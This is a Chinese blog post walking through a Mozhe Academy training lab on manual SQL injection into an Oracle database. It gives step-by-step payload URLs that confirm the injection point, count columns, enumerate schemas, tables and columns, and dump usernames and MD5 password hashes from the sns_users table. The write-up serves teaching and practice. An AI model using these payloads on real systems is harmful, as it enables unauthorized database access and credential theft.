1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

时间:2019-04-02 02:58:26

相关推荐

Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库)。

地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已失效仅供参考)

首先还是先构造payload来检测是否存在注入点

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2

发现回显没有显示id=1 的数据,说明id此处存在注入点。

然后开始爆破字段个数。

构造payload :“http://124.70.22.208:42948/new_list.php?id=1 order by 2”

http://124.70.22.208:42948/new_list.php?id=1 order by 2

Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

注意到“order by 3”的时候没有数据回显,而“order by 2”的时候有数据回显,说明后端查询语句所查询的字段为2。

接下来我们先测试这两个字段查询结果的回显位置。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual

其中dual是Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的select语句块中。Oracle中的dual表是一个单行单列的虚拟表。

从回显结果中我们可以看到字段查询结果展示在前端的位置。

接下来就开始查询数据库

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

其中all_tables表中的owner字段为数据库名,where rownum=1的意思是只展示一行结果。

查询SYS以外的其他数据库可以用“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual

查询完表之后就是查询表名了

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual”此查询结果为当前数据库下的表名。

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual

user_tables 这张表中存放了所有的表名。

查询其他表名时我们也可以用“and table_name not in (‘已查到的表名’)”来查询。

如:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual

这里我们为了方便,我们直接使用模糊查询来查询user表。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual

使用“table_name not in (‘sns_users’)”来确保是否只有这一张user表。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual

发现没有回显数据,说明只有sns_users 一张user表。

接下来就开始查询字段。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

all_tab_columns表存放所有的字段名。

然后使用“and column_name not in (‘USER_NAME’)”来爆出其他字段名

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual

这样我们就查询到了存放用户名跟密码的字段名,接下来就是查询数据了。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users

注意:小伙伴们一定要记得“sns_users”表名一定加上英文的双引号,应该是Oracle数据库的特性,不然的话不会回显数据!

也可以用“where USER_NAME <> 'hu'”来检差除了‘hu’是否还存在其他用户。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'

发现还存在mozhe的用户,大家也可以继续尝试。这里就不再演示了。

这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划到页面最下端就可以看到KEY了。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。